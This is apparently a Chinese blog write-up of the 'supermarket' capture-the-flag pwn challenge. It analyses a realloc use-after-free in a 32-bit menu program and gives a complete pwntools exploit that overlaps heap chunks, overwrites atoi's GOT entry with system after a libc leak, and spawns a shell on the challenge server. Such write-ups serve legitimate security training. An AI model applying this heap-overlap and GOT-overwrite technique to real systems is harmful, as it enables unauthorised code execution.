攻防世界supermarket

首先检查保护机制

然后运行一下

是一个菜单题,接着往下看

可以看到,选项3会按行打印出每个商品的信息,在des.后面就是商品的description

 

接着IDA分析

首先看看sub_8048864()

sub_8048812就是读入一串字符串到nptr,这一块并没有溢出点,但是这里并不是以%d的方式输入数字,而是先输入字符串然后用atoi函数转换,如果能够修改atoi的got表为system并且输入/bin/sh那么我们的目的便达成了。接着往下看,看能不能实现这个目标。

接着看case1:

这里s2便保存的是商品信息,并且s2是全局变量,最多保存16个商品,并且s2每个元素都是指针类型,每个元素均为结构体指针,结构体的和s2定义大致为:

typedef struct Node {  
    char name[16];  //16字节
    int price;   //4字节
    int description_size; // 4字节  
    char *description;  //4字节
}Node;  


Node *s2[16];

这个case1的执行逻辑为,首先检查16个指针是否为空,若都不空,则商品空间已满,提示no more space,然后输入name, price, description_size, description等信息, name不能有重复。

而内存分配大致如下图所示

看到这里我们可以知道一般description是指向一块堆内存区域,如果我们能直接把它修改为指向atoi的got表的指针那么我们就能通过sub84EFF来修改description的内容为system的got。

怎么做到呢?如果能让一个Node0的description指向另一个Node2,并且把Node0的description的值设置为'2'.ljust(16, b'\x00') + p32(20) + p32(0x20) + p32(atoi_got)

即,16字节表示字符串0000000000002(name),4字节表示price,4字节表示size(此处为0x20),4字节为Node2的description指向的地址。

这样我们就通过给Node0的decription赋值来达到修改Node2的decription指向got表的目的

货物数据的大小为 0x1c ,由于这是32位程序,其分配到的实际块大小为 (0x1c + 0x4) align to 0x8 = 0x20 ,也就是我们需要让该0x20大小的Node2从free()掉的内存来进行分配,就可使用上述的漏洞。

接着看case2 - case5,在case5中发现了调用realloc函数没有返回的情况,这里存在uaf漏洞

realloc函数作用大概如下:

1)如果当前内存段后面有需要的内存空间,则直接扩展这段内存空间,realloc()将返回原指针。
2)如果当前内存段后面的空闲字节不够,那么就使用堆中的第一个能够满足这一要求的内存块,将目前的数据复制到新的位置,并将原来的数据块释放掉,返回新的内存块位置。
3)如果申请失败,将返回NULL,此时,原来的指针仍然有效。

换句话说,想要利用这个漏洞,就必须保证realloc后的起始地址跟realloc之前的起始地址不一样,那么只有当前的堆块后面紧接着另一个已分配内存空间并且realloc更大size才能触发这个漏洞

 

这里涉及到c语言堆内存的分配(涉及到我的知识盲区了,什么fastbin, unsorted bin不太了解),先上exp:

from pwn import *
from LibcSearcher import *

#sh = process('./supermarket')
sh = remote('220.249.52.133', 52437)
elf = ELF('./supermarket')
atoi_got = elf.got['atoi']


def create(index, size, content):
    sh.sendlineafter('your choice>>', '1')
    sh.sendlineafter('name:', str(index))
    sh.sendlineafter('price:', '10')
    sh.sendlineafter('descrip_size:', str(size))
    sh.sendlineafter('description:', content)


def delete(index):
    sh.sendlineafter('your choice>>', '2')
    sh.sendlineafter('name:', str(index))


def show():
    sh.sendlineafter('your choice>>', '3')


def edit(index, size, content):
    sh.sendlineafter('your choice>>', '5')
    sh.sendlineafter('name:', str(index))
    sh.sendlineafter('descrip_size:', str(size))
    sh.sendlineafter('description:', content)


if __name__ == '__main__':
    # node0
    create(0, 0x80, 'a' * 0x10)
    # node1,只用来做分隔作用,防止块合并
    create(1, 0x20, 'b' * 0x10)
    # realloc node0->description
    # 注意不要加任何数据,因为我们发送的数据写入到的是一个被free的块(仔细思考一下这句话),这会导致后面malloc时出错
    edit(0, 0x90, '')
    # 现在node2将被分配到node0的原description处
    create(2, 0x20, 'd' * 0x10)
    payload = b'2'.ljust(16, b'\x00') + p32(20) + p32(0x20) + p32(atoi_got)
    # 由于没有把realloc返回的指针赋值给node0->description,因此node0->description还是原来那个地址处,现在存的是node1
    # 因此edit(0)就是编辑node2的结构体,我们通过修改,把node2->description指向atoi的got表
    edit(0, 0x80, payload)
    # 泄露信息
    show()
    sh.recvuntil('2: price.20, des.')
    # 泄露atoi的加载地址
    atoi_addr = u32(sh.recvuntil('\n').split(b'\n')[0].ljust(4, b'\x00'))

    libc = LibcSearcher('atoi', atoi_addr)
    libc_base = atoi_addr - libc.dump('atoi')
    system_addr = libc_base + libc.dump('system')
    # 修改atoi的表,将它指向system
    edit(2, 0x20, p32(system_addr))
    # getshell
    sh.sendlineafter('your choice>>', '/bin/sh')

    sh.interactive()

解释一下:

create(0,0x80,'a'*0x10)建立Node0,decription块的大小为0x80(大小不得小于0x80)

create(1,0x20,'b'*0x10)建立Node1,防止Node0->description后面有连续空间

edit(0,0x90,'')释放Node0->description

create(2, 0x20, 'd' * 0x10)建立Node2,Node2的空间即Node0->description指向的空间,

此时内存空间大致如图所示:

而发送payload之后的内存空间为:

所以当我们puts(Node->description)时会泄露atoi的地址,这样就可以计算system的地址了,

而当我们edit(Node2->description)时,会修改atoi的got地址,把它改为system的got地址,当调用atoi时就会实际执行system函数。这样即可拿到shell

 

总结:

1.首先得想办法修改atoi的got地址,这样atoi("/bin/sh")等同于system("/bin/sh")

2.我们可以通过让Node0->description指向Node2,通过修改Node0->description的值从而修改Node2->description指向的内存区域。(指向atoi的got地址)从而泄露atoi的地址并修改它为system的got地址

3.整个程序的关键在realloc函数,让realloc先释放Node0->description指向的内存空间并新申请一片区域,这样Node0->description指向了一片空区域,然后将这片空区域分配给Node2,这样达到Node0->description = Node2的目的。

4.这涉及到的堆内存分配规则我不太熟悉,欢迎大佬们来赐教

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 5
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值